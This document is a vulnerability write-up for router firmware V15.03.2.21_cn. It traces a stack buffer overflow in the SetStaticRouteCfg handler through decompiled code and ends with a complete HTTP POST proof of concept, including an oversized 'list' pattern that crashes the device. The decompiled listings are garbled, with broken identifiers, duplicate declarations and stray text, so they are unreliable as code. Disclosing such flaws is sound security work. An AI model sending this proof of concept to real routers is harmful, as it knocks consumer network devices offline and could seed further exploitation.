

Vulnerability details

```
int _fastcall fromSetRouteStatic(int a1)
{
   int v1; // r0
        char s[256]; // [sp+10h] [bp-14h] BYREF
   void *v5; // [sp+110h] [bp-14h]
   int v6; // [sp+110h] [bp-14h]
   int v6; // [sp+110h] [bp-10h]

   memset(s, 0, sizeof(s));
   v6 = 0;
   v5 = huoqu(a1, (int)*list*, (int)&unk_C711C);
   v1 = sub_GFFFB(*adv.staticroute*, v5, 176);
   if*( CommitC+H(v1) )
   {
        sprintf(s, *advance_type=%d*, 8);
        send_msg_to_netctrl(s, s);
    }
   else
   {
        v0 = 1;
    }
    overflow_check(
        a1,
        "HTP/1.1 200 CK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Control: no-cache\n\n*);
    overflow_check(a1, *(\*errCode\*:%d)*, v6);
    return sub_2C2D0(a1, 200);
}
```

The content obtained by the setstaticroutecfg interface through the list parameter is passed to V5, and then V5 is brought into the function sub_ In 6ffe8 Follow up view

```
__fastcall sub_6FFE8(const char *a1, char *a2, uns
                                                         Caption Original
char v7[8]; // [sp+1Ch] [bp-190h] BYREF
char v8[16]; // [sp+24h] [bp-188h] BYREF
char v9[16]; // [sp+34h] [bp-178h] BYREF
char v10[16]; // [sp+44h] [bp-168h] BYREF
char v11[256]; // [sp+54h] [bp-158h] BYREF
char s[64]; // [sp+154h] [bp-58h] BYREF
char *v13; // [sp+194h] [bp-18h]
int v14; // [sp+198h] [bp-14h]
char *v15; // [sp+19Ch] [bp-10h]
memset(s, 0, sizeof(s));
memset(v11, 0, sizeof(v11));
v14 = 0;
if (strlen(a2) > 4)
  ++v14:
  while (1)
    v13 = strchr(v15, a3);
    if (!v13)
      break;
    *v13++ = 0;
    memset(s, 0, sizeof(s));
    sprintf(s, "%s.list%d", a1, v14);
    if ( sscanf(v15, "%[^,]%*c%[^,]%*c%s", v10, v9, v8) == 3 )
```

At this time, the parameter corresponding to V5 is A2 After that, the program assigns V2 to V15, and formats the matched content directly into the stack through the sscanf function and regular expression. There is no size limit, and there is a stack overflow vulnerability

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Use the fat simulation firmware V15.03.2.21_cn
- 2. Attack with the following POC attacks

POST /goform/SetStaticRouteCfg HTTP/1.1

Host: 192.168.11.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101

Firefox/96.0 Accept: */*

Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 542

Origin: http://192.168.11.1

Connection: close

Referer: http://192.168.11.1/static_route.html?random=0.5251747338346628&

Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcbzk1qw

list=192.168.3.0,255.255.255.0,192.168.3.1aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaaka



The reproduction results are as follows:

Unable to connect

An error occurred during a connection to 192.168.0.1.

- The site could be temporarily unavailable or too busy. Try again in a few moments.
- If you are unable to load any pages, check your computer's network connection.
- If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access
 the Web.

Try Again

Figure 2 POC attack effect

